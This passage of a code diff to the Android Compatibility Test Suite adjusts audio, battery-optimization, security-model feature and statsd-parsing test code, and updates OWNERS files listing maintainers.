-        mTestButton.setEnabled(false);
-        super.startAudioTest(mMessageHandler);
-    }
-
-    protected void handleTestCompletion() {
-        super.handleTestCompletion();
-
-        // We are not enforcing the latency target (PROAUDIO_LATENCY_MS_LIMIT)
-        // test is allowed to pass as long as an analysis is done.
-        boolean resultValid =
-                isPeripheralValidForTest()
-                && mMeanConfidence >= CONFIDENCE_THRESHOLD
-                && mMeanLatencyMillis > EPSILON
-                && mMeanLatencyMillis < mMustLatency;
-
-        getPassButton().setEnabled(resultValid);
-
-        recordTestResults();
-
-        showWait(false);
-        mTestButton.setEnabled(true);
-    }
-
-    /**
-     * Store test results in log
-     */
-    @Override
-    public String getTestId() {
-        return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
-    }
-
-    @Override
-    public void recordTestResults() {
-        Log.d(TAG, "recordTestResults()");
-        super.recordTestResults();
-
-        CtsVerifierReportLog reportLog = getReportLog();
-        int audioLevel = mAudioLevelSeekbar.getProgress();
-        reportLog.addValue(
-                KEY_LEVEL,
-                audioLevel,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_BUFFER_SIZE,
-                mMinBufferSizeInFrames,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.submit();
-    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
index 8f6c7f9..1d78280 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
@@ -112,10 +112,6 @@
         return mColdStartlatencyMS;
     }
 
-    protected void stopAudio() {
-        stopAudioTest();
-    }
-
     void startOutTimer() {
         TimerTask task = new TimerTask() {
             public void run() {
@@ -198,6 +194,8 @@
         }
 
         mPlayer.stopStream();
+        mPlayer.teardownStream();
+
         mIsTestRunning = false;
 
         stopOutTimer();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
index 29e23c7..beed70a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
@@ -77,12 +77,6 @@
         return true;
     }
 
-    private void openAppInfoPage() {
-        Intent appInfoIntent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
-        appInfoIntent.setData(Uri.parse("package:" + getPackageName()));
-        startActivity(appInfoIntent);
-    }
-
     private void openIgnoreBatteryOptimizationsAppList() {
         Intent intent = new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS);
         startActivity(intent);
@@ -101,7 +95,7 @@
         @Override
         protected void onNextClick() {
             if (isExempted()) {
-                openAppInfoPage();
+                openIgnoreBatteryOptimizationsAppList();
             } else {
                 succeed();
             }
@@ -151,7 +145,7 @@
         @Override
         protected void onNextClick() {
             if (isExempted()) {
-                openAppInfoPage();
+                openIgnoreBatteryOptimizationsAppList();
             } else {
                 succeed();
             }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
index 256893b..d7e6ddb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
@@ -16,8 +16,12 @@
 
 package com.android.cts.verifier.security;
 
+import static android.os.Build.VERSION;
+import static android.os.Build.VERSION_CODES;
+
 import android.content.pm.PackageManager;
 import android.os.Bundle;
+import android.os.SystemProperties;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.widget.Button;
@@ -30,7 +34,8 @@
 
 /**
  * This test confirms that handheld and tablet devices correctly declare the
- * {@link PackageManager#FEATURE_SECURITY_MODEL_COMPATIBLE} feature.
+ * {@link PackageManager#FEATURE_SECURITY_MODEL_COMPATIBLE} feature. Only enforced
+ * on devices that launched with SC or later.
  */
 public class SecurityModeFeatureVerifierActivity extends PassFailButtons.Activity {
     private ImageView mHandheldOrTabletImage;
@@ -38,6 +43,7 @@
     private Button mHandheldOrTabletOkButton;
     private Button mHandheldOrTabletNaButton;
     private boolean mFeatureAvailable;
+    private boolean mDeviceLaunchedBeforeS;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -54,6 +60,10 @@
         mHandheldOrTabletOkButton = (Button) findViewById(R.id.handheld_or_tablet_yes);
         mHandheldOrTabletNaButton = (Button) findViewById(R.id.handheld_or_tablet_not_applicable);
 
+        final int firstApiLevel =
+                SystemProperties.getInt("ro.product.first_api_level", VERSION.SDK_INT);
+        mDeviceLaunchedBeforeS = firstApiLevel < VERSION_CODES.S;
+
         mFeatureAvailable = getPackageManager()
             .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE);
 
@@ -67,7 +77,7 @@
         mHandheldOrTabletOkButton.setOnClickListener(new OnClickListener() {
             @Override
             public void onClick(View v) {
-                setTestResultAndFinish(mFeatureAvailable);
+                setTestResultAndFinish(mFeatureAvailable || mDeviceLaunchedBeforeS);
             }
         });
     }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index cf92bf7..ab66ee5 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -990,7 +990,6 @@
             UserType forUser,
             boolean hasProfileOwner,
             boolean profileOwnerIsPrimary) {
-        requireFeature("android.software.managed_users", FailureMode.SKIP);
         com.android.bedstead.nene.users.UserType resolvedUserType =
                 requireUserSupported(profileType, FailureMode.SKIP);
 
@@ -1023,8 +1022,6 @@
     }
 
     private void ensureHasNoProfile(String profileType, UserType forUser) {
-        requireFeature("android.software.managed_users", FailureMode.SKIP);
-
         UserReference forUserReference = resolveUserTypeToUser(forUser);
         com.android.bedstead.nene.users.UserType resolvedProfileType =
                 sTestApis.users().supportedType(profileType);
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
index 6373625..6cc76a2 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
@@ -36,6 +36,7 @@
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
 @EnsureHasNoProfileAnnotation("android.os.usertype.profile.MANAGED")
+@RequireFeature("android.software.managed_users")
 public @interface EnsureHasNoWorkProfile {
     /** Which user type the work profile should not be attached to. */
     DeviceState.UserType forUser() default CURRENT_USER;
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
index 11ecfa6..671e12b 100644
--- a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
@@ -30,6 +30,7 @@
 import com.android.internal.os.nano.StatsdConfigProto.SimpleAtomMatcher;
 import com.android.internal.os.nano.StatsdConfigProto.StatsdConfig;
 import com.android.os.nano.AtomsProto;
+import com.android.os.nano.StatsLog;
 import com.android.os.nano.StatsLog.ConfigMetricsReportList;
 import com.android.queryable.Queryable;
 
@@ -184,7 +185,10 @@
         return Arrays.stream(reportList.reports)
                 .flatMap(s -> Arrays.stream(s.metrics.clone()))
                 .filter(s -> s.getEventMetrics() != null && s.getEventMetrics().data != null)
-                .flatMap(statsLogReport -> Arrays.stream(statsLogReport.getEventMetrics().data.clone()))
+                .flatMap(statsLogReport -> Arrays.stream(
+                        statsLogReport.getEventMetrics().data.clone()))
+                .flatMap(eventMetricData -> Arrays.stream(
+                        backfillAggregatedAtomsinEventMetric(eventMetricData)))
                 .sorted(Comparator.comparing(e -> e.elapsedTimestampNanos))
                 .map(e -> e.atom)
                 .filter((Objects::nonNull))
@@ -193,4 +197,20 @@
                 .map(EnterpriseMetricInfo::new)
                 .collect(Collectors.toList());
     }
+
+    private StatsLog.EventMetricData[] backfillAggregatedAtomsinEventMetric(
+            StatsLog.EventMetricData metricData) {
+        if (metricData.aggregatedAtomInfo == null) {
+            return new StatsLog.EventMetricData[]{metricData};
+        }
+        List<StatsLog.EventMetricData> data = new ArrayList<>();
+        StatsLog.AggregatedAtomInfo atomInfo = metricData.aggregatedAtomInfo;
+        for (long timestamp : atomInfo.elapsedTimestampNanos) {
+            StatsLog.EventMetricData newMetricData = new StatsLog.EventMetricData();
+            newMetricData.atom = atomInfo.atom;
+            newMetricData.elapsedTimestampNanos = timestamp;
+            data.add(newMetricData);
+        }
+        return data.toArray(new StatsLog.EventMetricData[0]);
+    }
 }
diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS
index a56aab5..55fc077 100644
--- a/common/device-side/util-axt/OWNERS
+++ b/common/device-side/util-axt/OWNERS
@@ -1,2 +1,2 @@
 
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, svetoslavganov@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
deleted file mode 100644
index b0ec2e9..0000000
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertTrue;
-
-import org.junit.Before;
-
-import java.util.List;
-
-/**
- * Device-side base class for tests to run extra Business Logics in addition to the test-specific
- * Business Logics.
- *
- * Used when running a common set of business logics against several tests.
- *
- * Usage:
- * 1. Implement the common logic in an interface with default methods.
- * 2. Extend this class and implement the interface.
- *
- * Now Business Logics rules and actions can be called from the GCL by using the interface fully
- * qualified name.
- */
-public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase implements MultiLogDevice {
-
-    private static final String LOG_TAG = BusinessLogicTestCase.class.getSimpleName();
-
-    protected boolean mDependentOnBusinessLogic = true;
-
-    public abstract List<String> getExtraBusinessLogics();
-
-    @Before
-    @Override
-    public void handleBusinessLogic() {
-        loadBusinessLogic();
-        if (mDependentOnBusinessLogic) {
-            assertTrue(String.format(
-                    "Test \"%s\" is unable to execute as it depends on the missing remote "
-                    + "configuration.", mTestCase.getMethodName()), mCanReadBusinessLogic);
-        } else if (!mCanReadBusinessLogic) {
-            logInfo(LOG_TAG, "Skipping Business Logic for %s", mTestCase.getMethodName());
-            return;
-        }
-
-        BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(
-                getContext(), this, mBusinessLogic.getRedactionRegexes());
-        for (String extraBusinessLogic : getExtraBusinessLogics()) {
-            if (!mBusinessLogic.hasLogicFor(extraBusinessLogic)) {
-                throw new RuntimeException(String.format(
-                        "can't find extra business logic for %s.", extraBusinessLogic));
-            }
-            mBusinessLogic.applyLogicFor(extraBusinessLogic, executor);
-        }
-        executeBusinessLogic();
-    }
-}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
deleted file mode 100644
index dbe5128..0000000
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-import com.android.compatibility.common.util.MultiLog;
-
-/** Implement the deviceside interface for logging on host+device-common code. */
-public interface MultiLogDevice extends MultiLog {
-    /** {@inheritDoc} */
-    @Override
-    default void logInfo(String logTag, String format, Object... args) {
-        Log.i(logTag, String.format(format, args));
-    }
-
-    /** {@inheritDoc} */
-    @Override
-    default void logDebug(String logTag, String format, Object... args) {
-        Log.d(logTag, String.format(format, args));
-    }
-
-    /** {@inheritDoc} */
-    @Override
-    default void logWarn(String logTag, String format, Object... args) {
-        Log.w(logTag, String.format(format, args));
-    }
-
-    /** {@inheritDoc} */
-    @Override
-    default void logError(String logTag, String format, Object... args) {
-        Log.e(logTag, String.format(format, args));
-    }
-}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
index e794f2c..b06092c 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
@@ -1 +1 @@
-per-file BaseDefaultPermissionGrantPolicyTest.java = moltmann@google.com, svetoslavganov@google.com
+per-file BaseDefaultPermissionGrantPolicyTest.java = eugenesusla@google.com, moltmann@google.com, svetoslavganov@google.com
diff --git a/hostsidetests/accounts/AndroidTest.xml b/hostsidetests/accounts/AndroidTest.xml
index d267630..8603a71 100644
--- a/hostsidetests/accounts/AndroidTest.xml
+++ b/hostsidetests/accounts/AndroidTest.xml
@@ -16,7 +16,7 @@
 <configuration description="Config for the CTS accounts host tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
index a8e722e..4b7edc7 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
@@ -148,7 +148,7 @@
 
     private void startApp() throws Exception {
         runCommand("am start -n " + TEST_PKG + "/" + TEST_PKG + ".Empty");
-        Thread.currentThread().sleep(100);
+        Thread.currentThread().sleep(5000);
     }
 
 
diff --git a/hostsidetests/appcompat/host/lib/Android.bp b/hostsidetests/appcompat/host/lib/Android.bp
index 8f44487..f6e664e 100644
--- a/hostsidetests/appcompat/host/lib/Android.bp
+++ b/hostsidetests/appcompat/host/lib/Android.bp
@@ -26,5 +26,7 @@
         "host-libprotobuf-java-full",
         "platformprotos",
     ],
-
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
 }
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 28bd4d7..9e12717 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -19,12 +19,15 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.cts.statsdatom.lib.ReportUtils;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
 import com.android.internal.os.StatsdConfigProto;
 import com.android.os.AtomsProto;
 import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog;
 import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.tradefed.build.IBuildInfo;
@@ -46,7 +49,9 @@
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -195,19 +200,28 @@
     /**
      * Gets the statsd report. Note that this also deletes that report from statsd.
      */
-    private List<ConfigMetricsReport> getReportList(long configId) throws DeviceNotAvailableException {
+    private ConfigMetricsReportList getReportList(long configId)
+            throws DeviceNotAvailableException {
         try {
             final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
             getDevice().executeShellCommand(String.format(DUMP_REPORT_CMD, configId), receiver);
             return ConfigMetricsReportList.parser()
-                    .parseFrom(receiver.getOutput())
-                    .getReportsList();
+                    .parseFrom(receiver.getOutput());
         } catch (InvalidProtocolBufferException e) {
             throw new IllegalStateException("Failed to fetch and parse the statsd output report.",
                     e);
         }
     }
 
+    private static List<StatsLog.EventMetricData> getEventMetricDataList(
+            ConfigMetricsReportList reportList) {
+        try {
+            return ReportUtils.getEventMetricDataList(reportList);
+        } catch (Exception e) {
+            throw new IllegalStateException("Failed to parse ConfigMetrisReportList", e);
+        }
+    }
+
     /**
      * Creates and uploads a statsd config that matches the AppCompatibilityChangeReported atom
      * logged by a given package name.
@@ -313,9 +327,7 @@
     private Map<Long, Boolean> getReportedChanges(long configId, String pkgName)
             throws DeviceNotAvailableException {
         final int packageUid = getUid(pkgName);
-        return getReportList(configId).stream()
-                .flatMap(report -> report.getMetricsList().stream())
-                .flatMap(metric -> metric.getEventMetrics().getDataList().stream())
+        return getEventMetricDataList(getReportList(configId)).stream()
                 .filter(eventMetricData -> eventMetricData.hasAtom())
                 .map(eventMetricData -> eventMetricData.getAtom())
                 .map(atom -> atom.getAppCompatibilityChangeReported())
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index 18765ba..e4d9d04 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,34 +1,35 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
 per-file AccessSerialNumberTest.java = moltmann@google.com
 per-file ApexSignatureVerificationTest.java = dariofreni@google.com
-per-file ApplicationVisibilityTest.java = patb@google.com
+per-file ApplicationVisibilityTest.java = toddke@google.com,patb@google.com
 per-file AppDataIsolationTests.java = rickywai@google.com,alanstokes@google.com
 per-file AppOpsTest.java = moltmann@google.com
 per-file AppSecurityTests.java = cbrubaker@google.com
 per-file AuthBoundKeyTest.java = file:test-apps/AuthBoundKeyApp/OWNERS
-per-file BaseInstallMultiple.java = patb@google.com
+per-file BaseInstallMultiple.java = toddke@google.com,patb@google.com
 per-file CorruptApkTests.java = rtmitchell@google.com
 per-file DeviceIdentifierTest.java = cbrubaker@google.com
-per-file EphemeralTest.java = patb@google.com
+per-file EphemeralTest.java = toddke@google.com,patb@google.com
 per-file ExternalStorageHostTest.java = nandana@google.com
 per-file ExternalStorageHostTest.java = zezeozue@google.com
-per-file InstantAppUserTest.java = patb@google.com
-per-file InstantCookieHostTest.java = patb@google.com
-per-file IsolatedSplitsTests.java = patb@google.com
+per-file InstantAppUserTest.java = toddke@google.com,patb@google.com
+per-file InstantCookieHostTest.java = toddke@google.com,patb@google.com
+per-file IsolatedSplitsTests.java = patb@google.com,toddke@google.com
 per-file KeySetHostTest.java = cbrubaker@google.com
 per-file ListeningPortsTest.java = cbrubaker@google.com
-per-file MajorVersionTest.java = patb@google.com
+per-file MajorVersionTest.java = toddke@google.com,patb@google.com
 per-file OverlayHostTest.java = rtmitchell@google.com
-per-file Package* = chiuwinson@google.com,patb@google.com
+per-file Package* = chiuwinson@google.com,patb@google.com,toddke@google.com
 per-file PermissionsHostTest.java = moltmann@google.com
-per-file Pkg* = chiuwinson@google.com,patb@google.com
+per-file Pkg* = chiuwinson@google.com,patb@google.com,toddke@google.com
 per-file PkgInstallSignatureVerificationTest.java = cbrubaker@google.com
-per-file PrivilegedUpdateTests.java = patb@google.com
+per-file PrivilegedUpdateTests.java = toddke@google.com,patb@google.com
 per-file ReviewPermissionHelper = moltmann@google.com
 per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file SharedUserIdTest.java = patb@google.com
-per-file SplitTests.java = patb@google.com
+per-file SharedUserIdTest.java = toddke@google.com,patb@google.com
+per-file SplitTests.java = patb@google.com,toddke@google.com,patb@google.com
 per-file UseEmbeddedDexTest.java = victorhsieh@google.com
 # test apps
 per-file BasePermissionsTest.java = moltmann@google.com
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index 8c8a7ca..3524357 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -85,12 +85,13 @@
         };
     }
 
+    private int mLaunchApiLevel;
     @Before
     public void setUp() throws DeviceNotAvailableException {
         ITestDevice device = getDevice();
         String apkVerityMode = device.getProperty("ro.apk_verity.mode");
-        assumeTrue(device.getLaunchApiLevel() >= 30
-                || APK_VERITY_STANDARD_MODE.equals(apkVerityMode));
+        mLaunchApiLevel = device.getLaunchApiLevel();
+        assumeTrue(mLaunchApiLevel >= 30 || APK_VERITY_STANDARD_MODE.equals(apkVerityMode));
         mDmRequireFsVerity = "true".equals(device.getProperty("pm.dexopt.dm.require_fsverity"));
         assumeSecurityModelCompat();
     }
@@ -432,8 +433,12 @@
     }
 
     private void assumeSecurityModelCompat() throws DeviceNotAvailableException {
-        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
-                getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        // This feature name check only applies to devices that first shipped with
+        // SC or later.
+        if (mLaunchApiLevel >= 31) {
+            assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                    getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        }
     }
 
     void verifyFsverityInstall(boolean incremental, String... files) throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index bbd0130..0abb593 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -23,9 +23,9 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
-
 import android.platform.test.annotations.RequiresDevice;
 
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -203,8 +203,12 @@
                 getDevice().hasFeature(FEATURE_DEVICE_ADMIN));
         assumeTrue("Skipping test: FEATURE_SECURE_LOCK_SCREEN missing.",
                 getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN));
-        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
-                getDevice().hasFeature(FEATURE_SECURITY_MODEL_COMPATIBLE));
+        // This feature name check only applies to devices that first shipped with
+        // SC or later.
+        if (PropertyUtil.getFirstApiLevel(getDevice()) >= 31) {
+            assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                    getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        }
     }
 
     private boolean isAutomotiveDevice() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 67e4080..9848f8f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -39,6 +39,7 @@
 import org.junit.After;
 import org.junit.Assume;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -626,6 +627,7 @@
     }
 
     @Test
+    @Ignore("Enable after b/197701722 is fixed")
     public void testMediaEscalation_RequestWriteFilePathSupport() throws Exception {
         // Not adding tests for MEDIA_28 and MEDIA_29 as they need W_E_S for write access via file
         // path for shared files, and will always have access as they have W_E_S.
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 4f04933..4374efe 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -1321,6 +1321,11 @@
     }
 
     public void testInstallV4UpdateAfterRotation() throws Exception {
+        // V4 is only enabled on devices with Incremental feature
+        if (!hasIncrementalFeature()) {
+            return;
+        }
+
         // This test performs an end to end verification of the update of an app with a rotated
         // key. The app under test exports a bound service that performs its own PackageManager key
         // rotation API verification, and the instrumentation test binds to the service and invokes
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
index 0c86e10..e86aa57 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
@@ -50,7 +50,7 @@
 
         final int initialUserId = getDevice().getCurrentUser();
         final int secondaryUserId = userIds[1];
-        getDevice().switchUser(secondaryUserId);
+        assumeTrue("Unable to switch user", getDevice().switchUser(secondaryUserId));
         try {
             uninstallApp(ROLE_SECURITY_TEST_APP_PACKAGE);
             try {
diff --git a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/OWNERS b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/OWNERS
index c2da5f7..4e06da3 100644
--- a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/OWNERS
@@ -3,5 +3,6 @@
 jbires@google.com
 jdanis@google.com
 swillden@google.com
+toddke@google.com
 patb@google.com
 zeuthen@google.com
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
index 98dc09e..e6f3e8d 100644
--- a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
@@ -1 +1,2 @@
 # Bug component: 137825
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/OWNERS b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/OWNERS b/hostsidetests/appsecurity/test-apps/InstantCookieApp/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/OWNERS b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/OWNERS
